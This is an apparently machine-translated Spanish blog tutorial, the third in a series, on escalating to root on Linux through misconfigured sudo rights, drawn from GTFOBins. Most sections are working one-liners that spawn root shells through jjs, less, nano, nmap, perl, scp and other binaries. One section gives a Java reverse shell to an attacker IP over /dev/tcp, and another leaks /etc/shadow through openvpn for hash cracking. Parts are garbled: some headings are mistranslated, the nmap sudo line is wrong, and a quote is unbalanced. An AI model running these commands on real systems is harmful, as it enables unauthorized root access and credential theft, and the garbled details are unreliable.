Pruebas de penetración: el tercer problema del método sudo de escalada de privilegios de Linux (3)

Tabla de contenido

escribir al principio

sudo jjs

sudo journalctl

cuchillo sudo

sudo menos

sudo man

sudo más

montaje sudo

sudo mysql

sudo nano

sudo neofetch

Sudo agradable

sudo nmap

nodo sudo

sudo nohup

sudo openvpn

contraseña de sudo

sudo perl

sudo php

sudo pico

sudo pkexec

sudo python3

sur de rvim

sudo scp

Resumen y reflexión 

escribir al principio

 Este artículo continúa explicando el método de escalada de privilegios sudo para pruebas de penetración sobre la base de los dos blogs anteriores. Para la introducción y los antecedentes del contenido relevante, consulte:

Pruebas de penetración: Conferencias sobre la escalada de privilegios de Linux (1) - Método Sudo Fase 1 - Bossfrank's Blog - CSDN Blog

Pruebas de penetración: Conferencia sobre la escalada de privilegios de Linux (2) Método Sudo Fase II - Bossfrank's Blog - CSDN Blog

Este artículo continuará resumiendo brevemente el método de escalada de privilegios sudo de la máquina de destino del sistema Linux según la  explicación de las notas del equipo rojo y el proyecto de código abierto GTFOBins (consulte GTFOBins para obtener detalles). Aquí está el primer enlace de video del jefe de la nota del equipo rojo:

Conferencia "Notas del equipo rojo" sobre la escalada de privilegios de Linux: Sudo Storm - Sudo Storm Parte 2, mentalidad de nivel de monje de barrido, mientras estudia la tecnología de escalada de privilegios, pule su comprensión profunda del kernel de Linux. Libro de pruebas de penetración. _哔哩哔哩_bilibili

 El módulo de resumen y pensamiento al final del artículo clasificará los métodos de escalada de privilegios involucrados en este artículo y resumirá las ideas y la lógica de la escalada de privilegios sudo. Puede que no sea completamente apropiado, pero es solo mi entendimiento personal. Lectores ' comentarios y cartas privadas son bienvenidos a discutir juntos.

sudo jjs

Requisitos previos para la explotación 

El usuario actual puede ejecutar jjs con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/jjs

Consulte jjs | GTFOBins   para obtener detalles sobre el uso , pero según el jefe de notas del equipo rojo, hay un problema con el método de uso en GTFOBins y no se puede recibir el shell de rebote. jjs es una abreviatura de javascript shell.

El método de operación 
 se atascará debido a la ejecución directa del comando GTFOBins. Este método de operación combina la lógica de jjs | GTFOBins y utiliza el método de escritura de shell inverso de Java de Reverse Shell Cheat Sheet | pentestmonkey .

echo "Java.type('java.lang.Runtime').getRuntime().exec(['/bin/bash','-c','exec 5<>/dev/tcp/kali的ip/1234;cat <&5 | while read line; do \$line 2>&5 >&5; done']).waitFor()" | sudo jjs

 La lógica es enviar un script a jjs, y jjs tiene autoridad Sudo. Ejecutar la lógica de este shell de rebote hará rebotar el shell de root. No olvide habilitar nc para escuchar en el puerto 1234 en kali antes de la ejecución:

nc -lvnp 1234

 Puede recibir un caparazón de rebote. Tenga en cuenta que el shell de rebote recibido en este momento puede no ser completamente interactivo. Puede ingresar bash para iniciar el shell bash para mejorar la interactividad.

sudo journalctl

Requisitos previos para la explotación 

El usuario actual puede ejecutar journalctl con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /bin/journalctl

Al mismo tiempo, ¡el signo de exclamación! La función de ejecutar comandos del sistema no se puede desactivar. 

journalctl es una herramienta para administrar los registros del sistema bajo el sistema systemctl, y estará disponible en las distribuciones de Linux más nuevas. Ver journalctl | GTFOBins para más detalles

Método de operación 

Primero ejecuta journalctl directamente con sudo:

sudo journalctl

Luego descubrí que ingresé a la interfaz para ver los registros del sistema. La capa inferior de la interfaz usa un mecanismo similar al comando menos, ¡y puede escribir un signo de exclamación! Ingrese el comando del sistema, así que ingrese directamente:

!/bin/bash

Se puede realizar elevación de derechos. Si la función de signo de exclamación para ejecutar comandos del sistema está deshabilitada, no puede elevar los privilegios.

cuchillo sudo

Requisitos previos para la explotación 

El usuario actual puede ejecutar knife con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/knife

knife es la interfaz de línea de comandos de chef, que puede interactuar con el servidor de chef Chef es una herramienta de configuración y administración automática para infraestructuras como servidores. Ver cuchillo | GTFOBins para más detalles

Método de operación 

sudo knife exec -E 'exec "/bin/bash"'

 Entre ellos, exec es un subcomando de knife, y el parámetro -E introduce una cadena en formato de lenguaje ruby ​​(knife se escribe en lenguaje ruby), indicando el comando a ejecutar. Ejecutar para elevar derechos.

sudo menos

Requisitos previos para la explotación 

El usuario actual puede ejecutar menos con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/less

 Less es una herramienta común para leer archivos. Como se mencionó anteriormente, muchos mecanismos de escalada de privilegios similares a less se utilizan para iniciar el shell escribiendo comandos del sistema al leer archivos. Para obtener más información, consulte less | GTFOBins

Método de operación 

Primero puede crear un archivo temporal 

mktemp ./XXX

 Entonces debería poder ver el nombre de este archivo temporal, como ./tE70f, y luego usar sudo less para leer este archivo temporal:

sudo less tE70f

Después de ingresar a la interfaz de lectura, escriba un signo de exclamación para indicar la entrada de un comando del sistema e inicie bash para elevar el privilegio:

!/bin/bash

 Por supuesto, también puede leer directamente un archivo al azar y luego ingresar !/bin/bash.El método de uso de archivos temporales descrito aquí ayuda a ocultar sus propios rastros durante la prueba de penetración.

sudo man

Requisitos previos para la explotación 

El usuario actual puede ejecutar man con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/man

 man es una herramienta de uso común para ver la ayuda de los comandos de Linux, y la función de subir a la derecha también es un mecanismo similar a less.Para obtener más información, consulte man | GTFOBins

Método de operación 

Primero, ingrese casualmente y use sudo man para ver un comando de Linux.Aquí, ls se usa como ejemplo:

sudo man ls

Después de ingresar a la interfaz de ayuda, ¡también puede escribir! Puede ejecutar comandos del sistema y se puede usar un mecanismo similar a menos para elevar los privilegios:

!/bin/bash

sudo más

Requisitos previos para la explotación 

El usuario actual puede ejecutar más con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/more

 more es similar a less, los cuales se usan para leer archivos, y la función de subir a la derecha también es un mecanismo similar a less.Para más detalles, vea más | GTFOBins

Método de operación 

O a través del método de archivos temporales, primero cree un archivo temporal:

mktemp ./xxx

 Debería poder ver el nombre de este archivo temporal, como ./7aADd. Dado que este archivo temporal está vacío, no verá ningún resultado cuando lo lea con más, por lo que podemos redirigir un archivo a este archivo temporal primero. archivo, asumiendo que bossfrank es un archivo existente:

yes bossfrank > 7aADd

Luego lea más y comience bash con !:

sudo more 7aADd
!/bin/bash

Además, el uso de archivos temporales es conveniente para ocultar rastros. También es posible leer directamente los archivos del sistema simplemente para escalar privilegios.

montaje sudo

Requisitos previos para la explotación 

El usuario actual puede ejecutar mount con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/mount

mount se usa a menudo para el montaje de archivos, puede montar discos y directorios de archivos compartidos, consulte mount | GTFOBins para obtener más información.

Método de operación 

sudo mount -o bind /bin/bash /bin/mount

-o significa que la opción especifica la opción, bind se usa para vincular, vincula bash para montar, por lo que siempre que sudo ejecute mount nuevamente, la autoridad se puede aumentar:

sudo mount

sudo mysql

Requisitos previos para la explotación 

El usuario actual puede ejecutar mysql con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/mysql

Las aplicaciones clave como mysql a menudo tienen la función de ejecutar comandos del sistema. Para más detalles, consulte mysql | GTFOBins

Método de operación 

sudo mysql -e '\! /bin/sh'

 Entre ellos, -e significa ejecutar el comando del sistema, y ​​el signo de exclamación! significa comenzar a ejecutar el comando del sistema. Dado que el signo de exclamación! en la instrucción bash indica el historial de acceso, el signo de exclamación! debe ir acompañado de una barra invertida \ .

sudo nano

Requisitos previos para la explotación 

El usuario actual puede ejecutar nano con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/nano

nano es un editor de texto y su método de escalada de privilegios es muy típico. Muchas herramientas llamarán nano en la parte inferior, por lo que este es un tipo de método de escalada de privilegios. Ver nano | GTFOBins para más detalles

Método de operación 

Inicie nano, puede ver el siguiente menú en la parte inferior del editor nano:

sudo nano

 Ingrese ctrl + r para seleccionar Leer archivo para ingresar a la interfaz de lectura de archivos. El menú inferior es el siguiente:

 Como puede ver aquí, ingrese ctrl + x para ingresar a la interfaz de comando de ejecución Execute Command, y luego solo necesitamos ingresar el comando del sistema para ejecutarlo:

reset;bash 1>&0 2>&0

 Primero reinicie para restablecer las variables de entorno, luego inicie bash y redirija la información de salida y error para escalar el privilegio.

sudo neofetch

Requisitos previos para la explotación 

El usuario actual puede ejecutar neofetch con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/neofetch

neofetch en sí es una herramienta de línea de comandos que se utiliza para mostrar información de configuración del sistema. Puede cambiar la información de salida y el formato a través de archivos de configuración personalizados para lograr una escalada de privilegios. Para obtener más información, consulte neofetch | GTFOBins

Método de operación 

Primero declare una variable TF, apuntando a un nuevo archivo temporal:

TF=$(mktemp)

 Escriba la lógica de escalada de privilegios en un archivo temporal:

echo 'exec /bin/bash' >$TF

 Finalmente, sudo ejecuta neofetch mientras especifica este archivo de configuración:

sudo neofetch --config $TF

 El archivo de configuración de neofetch solo se puede realizar especificando un archivo, por lo que la lógica de escalada de privilegios solo se puede escribir en el archivo, y la instrucción de texto sin formato para ejecutar el comando del sistema no se puede agregar directamente a la declaración anterior. Ejecute el comando anterior para elevar los privilegios.

Sudo agradable

Requisitos previos para la explotación 

El usuario actual puede ejecutar bien con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/nice

El comando nice en sí mismo se usa para modificar la prioridad del proceso (la prioridad más alta es -20, la más baja es 19 y la predeterminada es 10). Para obtener más información, consulte nice | GTFOBins

Método de operación 

Puede iniciar bash directamente:

sudo nice /bin/bash

Ejecútelo para elevar los privilegios.

sudo nmap

Requisitos previos para la explotación 

El usuario actual puede ejecutar nmap con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/nice

nmap es una herramienta común de exploración de puertos, en la que puede personalizar el script; consulte nmap | GTFOBins para obtener más información.

Método de operación 

Hay muchas versiones de nmap, y hay diferentes formas de escalar privilegios, esta es una de ellas: primero declare una variable TF, apuntando a un archivo temporal recién creado:

TF=$(mktemp)

Haga eco de la lógica de escalada de privilegios a este archivo temporal:

echo 'os.execute("/bin/sh")' > $TF

sudo ejecuta nmap y especifica el script de escalada de privilegios que escribimos:

sudo nmap --script=$TF

nodo sudo

Requisitos previos para la explotación 

El usuario actual puede ejecutar el nodo con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/nodo

El comando de nodo se usa para ejecutar Node.js, consulte nodo | GTFOBins para obtener más información.

Método de operación 

La opción -e de Node.js puede realizar una escalada de privilegios:

sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

Especifique la cadena con -e, la cadena es el código de Node.js. Ejecute el comando anterior para elevar los privilegios.

sudo nohup

Requisitos previos para la explotación 

El usuario actual puede ejecutar nohup con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/nohup

El comando nohup se usa principalmente para la administración de trabajos. Nohup puede ejecutar comandos mientras ignora las señales pendientes (por ejemplo, después de iniciar un proceso con nohup, el proceso aún se ejecutará después de que se cierre la terminal). Para obtener más información, consulte nohup | GTFOBins

Método de operación 

sudo nohup /bin/bash -c "bash <$(tty) >$(tty) 2>$(tty)"

 Primero inicie la sesión /bin/bash con nohup, donde el parámetro -c administra el proceso y redirige la entrada y salida de bash. Ejecútelo para elevar los privilegios.

sudo openvpn

Requisitos previos para la explotación 

El usuario actual puede ejecutar openvpn con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/sbin/openvpn

Para obtener detalles sobre el uso de openvpn, consulte openvpn | GTFOBins

Método de operación 

openvpn puede leer archivos de configuración a través de parámetros, y si puede sudo, puede leer archivos confidenciales del sistema como root:

sudo openvpn --config /etc/shadow

 El resultado informará un error, pero el mensaje de error expondrá la primera línea de información confidencial, es decir, la primera línea de /etc/shadow Podemos obtener el hash de la contraseña de la cuenta raíz en función de esto y luego usar john para encontrar un diccionario para descifrarlo (es posible que no pueda descifrarlo).

contraseña de sudo

Requisitos previos para la explotación 

El usuario actual puede ejecutar el comando passwd para modificar la contraseña con la autorización avanzada de sudo, es decir, luego de ejecutar sudo -l aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/passwd

El uso de passwd es para modificar directamente la contraseña.

Método de operación 

Como puede ejecutar passwd con sudo, puede cambiar directamente la contraseña de root:

sudo passwd

 Luego ingrese la contraseña dos veces, puede usar nuestra nueva contraseña su para escalar la autoridad. Aunque parece un poco escandaloso, este tipo de configuración es realmente posible en la situación real: los administradores con pocos privilegios necesitan cambiar la contraseña del sistema y establecerán el permiso sudo de passwd por sí mismos.

sudo perl

Requisitos previos para la explotación 

El usuario actual puede ejecutar el lenguaje perl con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/perl

Ver perl|GTFOBins para detalles de uso .

Método de operación 

Perl es un lenguaje de secuencias de comandos y hay muchas formas de aumentar los privilegios. Tome el siguiente como ejemplo:

sudo perl -e 'exec "/bin/sh";'

 El lenguaje perl tiene el parámetro -e, que se usa para ejecutar directamente el script perl. De esta manera, puede ejecutar e iniciar directamente bash, y ejecutar el comando anterior para escalar directamente el privilegio.

sudo php

Requisitos previos para la explotación 

El usuario actual puede ejecutar php con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/php

Ver php | GTFOBins para más detalles

Método de operación 

 PHP también es un lenguaje común, especialmente durante las pruebas de penetración. Deberíamos poder pensar en muchas declaraciones de escalada de privilegios. Aquí se utiliza un método simple e intuitivo para iniciar bash directamente con el parámetro -r. Estas operaciones también son muy prácticas en penetración web.

sudo php -r "system('/bin/bash');"

Estas operaciones también son muy prácticas en penetración web.

sudo pico

Requisitos previos para la explotación 

El usuario actual puede ejecutar pico con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/pico

pico es muy similar a nano, y también es un editor (la función es diferente a la de nano), consulte pico | GTFOBins para más detalles

Método de operación 

La operación aquí es básicamente la misma que el método de escalada de privilegios de nano, por lo que soy demasiado perezoso para hablar de eso. En resumen, es el siguiente comando:

sudo pico
^R^X
reset; bash 1>&0 2>&0

Entre ellos, ctrl + r selecciona el modo Leer archivo, y ctrl + x selecciona el comando de ejecución Ejecutar Comando

sudo pkexec

Requisitos previos para la explotación 

El usuario actual puede ejecutar pkexec con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/pkexec

pk es la abreviatura de policykit policy suite, que es un servicio para administrar las políticas del sistema. Policykit puede permitir que los procesos sin privilegios se comuniquen para operaciones con privilegios. Ver pkexec | GTFOBins para más detalles

Método de operación 

La herramienta pkexec puede realizar operaciones relacionadas con permisos y ejecutar programas especificados por el usuario. Aquí está para iniciar bash

sudo pkexec /bin/bash

Ejecutar para elevar derechos.

sudo python3

Requisitos previos para la explotación 

El usuario actual puede ejecutar python3 con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/python3

Python también es un lenguaje común a gran escala, consulte python | GTFOBins para obtener más información.

Método de operación

Usualmente usamos sentencias de python para reflexión para mejorar la interactividad del shell, aquí también podemos usar la sentencia para iniciar el shell directamente:

sudo python3 -c "import os;os.system('/bin/bash)"

Ejecutar para elevar derechos. Hay muchas formas de escalar privilegios, esta es solo una de ellas.

sur de rvim

Requisitos previos para la explotación 

El usuario actual puede ejecutar rvim con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/rvim

Rvim es una versión específica del editor vim, lo que significa modo restringido.En comparación con vim, la operación en rvim tiene muchas restricciones y muchos comandos que pueden poner en peligro el sistema están deshabilitados. Ver rvim | GTFOBins para más detalles

Método de operación

sudo rvim -c ':py import os; os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'

Ejecutar para elevar el privilegio.El contenido entre comillas simples es el código para iniciar la sesión de shell escrito por python, donde los dos puntos: es la sintaxis de vim, lo que significa ejecutar el comando del sistema.

sudo scp

Requisitos previos para la explotación 

El usuario actual puede ejecutar scp con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/scp

scp es la abreviatura de copia segura, que se utiliza para la copia remota de archivos basada en ssh en Linux. Su función es similar a cp, pero se puede copiar entre servidores. Ver scp | GTFOBins para más detalles

Método de operación

El parámetro -S debe especificarse al escalar el privilegio, lo que indica que se especifica el programa SSH y se puede especificar la lógica ssh en él. Primero use una variable TF para apuntar al archivo temporal:

TF=$(mktemp)

Luego escriba la lógica de escalada de privilegios en la variable temporal

echo 'bash 0<&2 1>&2' > $TF

Agregar permisos de ejecución a las variables (archivos temporales):

chmod +x "$TF"

Luego use el parámetro -S para especificar el archivo temporal. Aquí, $TF se proporciona como un programa ssh, y el archivo de origen y el archivo de destino deben especificarse al mismo tiempo. Como solo queremos escalar los derechos, no Realmente no quiero copiar, así que solo escriba x e y Así es, los dos puntos: se usan para distinguir los archivos locales de los archivos remotos.

sudo scp -S $TF x y:

Ejecutar para elevar derechos.

Resumen y reflexión 

 Este artículo presenta 23 métodos comunes de escalada de privilegios sudo, principalmente utilizando la configuración de privilegios altos del sistema de archivos/herramientas ejecutables, de modo que los usuarios de privilegios bajos (shell de destino inicial) puedan ejecutar programas de privilegios altos con privilegios de root sudo sin instrucciones secretas. Creo que a través de la introducción de este artículo, espero que los lectores puedan tener una comprensión más intuitiva de la esencia de la escalada de privilegios: los usuarios con pocos privilegios pueden ejecutar instrucciones/herramientas/secuencias de comandos con muchos privilegios por algún motivo (configuración/vulnerabilidad) . Al final, decidí clasificar y resumir a la fuerza los 12 métodos para elevar los derechos en este artículo.
 

Puede ejecutar directamente los comandos del sistema: sudo nice, sudo nohup, sudo pkexec

Ejecutar comandos del sistema indirectamente a través de ciertos parámetros: sudo knife, sudo mount, sudo rvim, sudo mysql

Basado en un lenguaje determinado: sudo perl, sudo php, sudo python, sudo node, sudo jjs

Similar a ejecutar comandos del sistema en menos entorno: sudo less, sudo more, sudo journalctl, sudo man

Ejecute comandos del sistema en un entorno de editor similar a nano: sudo nano, sudo pico

Lea archivos confidenciales informando errores: sudo openvpn

Ejecute comandos del sistema especificando archivos/scripts de configuración: sudo neofetch, sudo nmap, sudo scp

Modificar archivos confidenciales directamente: sudo passwd

 De hecho, en la mayoría de los casos, los comandos del sistema se ejecutan de alguna manera. En cuanto a la forma de ejecutar (directamente/secuencia de comandos/archivo de configuración/en el entorno del editor, etc.), en realidad no hay un límite particularmente claro. Por lo tanto, algunas de mis clasificaciones pueden ser un poco descabelladas. Solo necesita comprender la lógica de la escalada de privilegios.

 Este blog está aquí, realmente no es fácil de resumir, ¡ los lectores pueden dar me gusta, seguir y apoyar ! No he practicado todos los métodos de escalamiento de privilegios mencionados en este artículo. Es posible que se necesiten pruebas de penetración y práctica a largo plazo para encontrar tal variedad de situaciones. En un futuro cercano, continuaré resumiendo los métodos relacionados con la escalada de privilegios de Linux y continuaré apegado al objetivo. Espero que los lectores me apoyen.

Supongo que te gusta

Origin blog.csdn.net/Bossfrank/article/details/132035121
Recomendado
Clasificación